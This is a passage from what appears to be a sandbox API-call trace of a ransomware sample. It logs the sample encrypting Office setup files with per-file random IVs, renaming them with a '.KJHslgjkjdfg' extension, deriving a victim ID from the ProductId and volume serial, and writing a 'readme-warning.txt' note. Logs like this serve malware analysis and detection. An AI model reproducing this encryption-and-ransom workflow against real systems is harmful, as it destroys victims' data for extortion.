pdwDataLen=0x290ed48*=0x1920, dwBufLen=0x1920 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x1920) returned 1 [0143.811] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.811] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x1920, lpOverlapped=0x0) returned 1 [0143.812] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.812] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x19f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.812] SetEndOfFile (hFile=0x13c) returned 1 [0143.814] GetProcessHeap () returned 0x2a0000 [0143.814] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.815] GetProcessHeap () returned 0x2a0000 [0143.815] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.815] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.kjhslgjkjdfg")) returned 1 [0143.815] CloseHandle (hObject=0x13c) returned 1 [0143.815] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0143.816] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.817] GetProcessHeap () returned 0x2a0000 [0143.817] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.817] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.817] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.817] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0x5, lpOverlapped=0x0) returned 1 [0143.819] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.819] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.819] GetProcessHeap () returned 0x2a0000 [0143.819] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0143.819] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0143.820] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.820] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0143.820] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.820] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.820] WriteFile (in: hFile=0x13c, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.820] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.820] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.820] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.820] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.820] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.820] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x412b, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x412b, lpOverlapped=0x0) returned 1 [0143.822] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x4130, dwBufLen=0x4130 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x4130) returned 1 [0143.822] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.822] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x4130, lpOverlapped=0x0) returned 1 [0143.822] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.822] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x41f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.822] SetEndOfFile (hFile=0x13c) returned 1 [0143.825] GetProcessHeap () returned 0x2a0000 [0143.825] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0143.825] GetProcessHeap () returned 0x2a0000 [0143.825] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.825] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.kjhslgjkjdfg")) returned 1 [0143.826] CloseHandle (hObject=0x13c) returned 1 [0143.826] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0143.826] GetProcessHeap () returned 0x2a0000 [0143.826] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.826] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.826] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290eb98 | out: pbData=0x2bf570, pdwDataLen=0x290eb98) returned 1 [0143.826] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.826] GetProcessHeap () returned 0x2a0000 [0143.826] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0143.826] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.826] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290eb98 | out: pbData=0x2bf5b8, pdwDataLen=0x290eb98) returned 1 [0143.826] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.827] GetProcessHeap () returned 0x2a0000 [0143.827] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f7a00 [0143.827] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.827] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f7a00, pdwDataLen=0x290eb98 | out: pbData=0x2f7a00, pdwDataLen=0x290eb98) returned 1 [0143.827] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.827] GetProcessHeap () returned 0x2a0000 [0143.827] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0143.827] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.827] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290e778 | out: pbData=0x2bf528, pdwDataLen=0x290e778) returned 1 [0143.827] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.827] GetProcessHeap () returned 0x2a0000 [0143.827] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.827] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.827] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e778 | out: pbData=0x2c1640, pdwDataLen=0x290e778) returned 1 [0143.827] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.827] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e774 | out: phkResult=0x290e774*=0x13c) returned 0x0 [0143.827] RegQueryValueExA (in: hKey=0x13c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290e780, lpcbData=0x290e77c*=0x400 | out: lpType=0x0, lpData=0x290e780*=0x30, lpcbData=0x290e77c*=0x18) returned 0x0 [0143.827] RegCloseKey (hKey=0x13c) returned 0x0 [0143.828] GetProcessHeap () returned 0x2a0000 [0143.828] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0143.828] GetProcessHeap () returned 0x2a0000 [0143.828] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.828] GetProcessHeap () returned 0x2a0000 [0143.828] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.828] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.828] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e54c | out: pbData=0x2c1640, pdwDataLen=0x290e54c) returned 1 [0143.828] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.828] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0143.828] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0143.828] GetProcessHeap () returned 0x2a0000 [0143.828] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.828] wsprintfA (in: param_1=0x290e797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0143.828] wsprintfA (in: param_1=0x290eba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0143.828] GetProcessHeap () returned 0x2a0000 [0143.829] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f7dc8 [0143.829] wsprintfW (in: param_1=0x290db74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\readme-warning.txt") returned 106 [0143.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.838] WriteFile (in: hFile=0x13c, lpBuffer=0x2f7dc8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290db70, lpOverlapped=0x0 | out: lpBuffer=0x2f7dc8*, lpNumberOfBytesWritten=0x290db70*=0x3b3, lpOverlapped=0x0) returned 1 [0143.840] CloseHandle (hObject=0x13c) returned 1 [0143.840] GetProcessHeap () returned 0x2a0000 [0143.840] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7a00 | out: hHeap=0x2a0000) returned 1 [0143.840] GetProcessHeap () returned 0x2a0000 [0143.840] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7dc8 | out: hHeap=0x2a0000) returned 1 [0143.840] GetProcessHeap () returned 0x2a0000 [0143.840] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0143.840] GetProcessHeap () returned 0x2a0000 [0143.840] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.840] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0143.840] GetProcessHeap () returned 0x2a0000 [0143.841] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0143.841] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="Project.en-us", cAlternateFileName="PROJEC~1.EN-")) returned 1 [0143.841] GetProcessHeap () returned 0x2a0000 [0143.841] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xcc) returned 0x2ed148 [0143.841] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0143.842] GetProcessHeap () returned 0x2a0000 [0143.842] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0143.842] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0143.842] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="ProjectMUI.XML", cAlternateFileName="PROJEC~1.XML")) returned 1 [0143.842] GetProcessHeap () returned 0x2a0000 [0143.842] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2ce) returned 0x2f7730 [0143.842] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.842] GetProcessHeap () returned 0x2a0000 [0143.843] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.843] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.843] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.843] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.845] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.845] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.845] GetProcessHeap () returned 0x2a0000 [0143.845] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.846] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40) returned 1 [0143.846] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.846] WriteFile (in: hFile=0x13c, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290ed60*=0x40, lpOverlapped=0x0) returned 1 [0143.846] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.846] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.846] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.846] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.846] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.846] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.846] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.846] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.846] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x5ac, lpOverlapped=0x0) returned 1 [0143.847] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x5b0) returned 1 [0143.847] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.847] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x5b0, lpOverlapped=0x0) returned 1 [0143.847] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.847] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.847] SetEndOfFile (hFile=0x13c) returned 1 [0143.850] GetProcessHeap () returned 0x2a0000 [0143.850] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.850] GetProcessHeap () returned 0x2a0000 [0143.850] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.850] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.kjhslgjkjdfg")) returned 1 [0143.851] CloseHandle (hObject=0x13c) returned 1 [0143.851] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0143.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.853] GetProcessHeap () returned 0x2a0000 [0143.853] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.853] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.853] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.853] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.853] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.853] 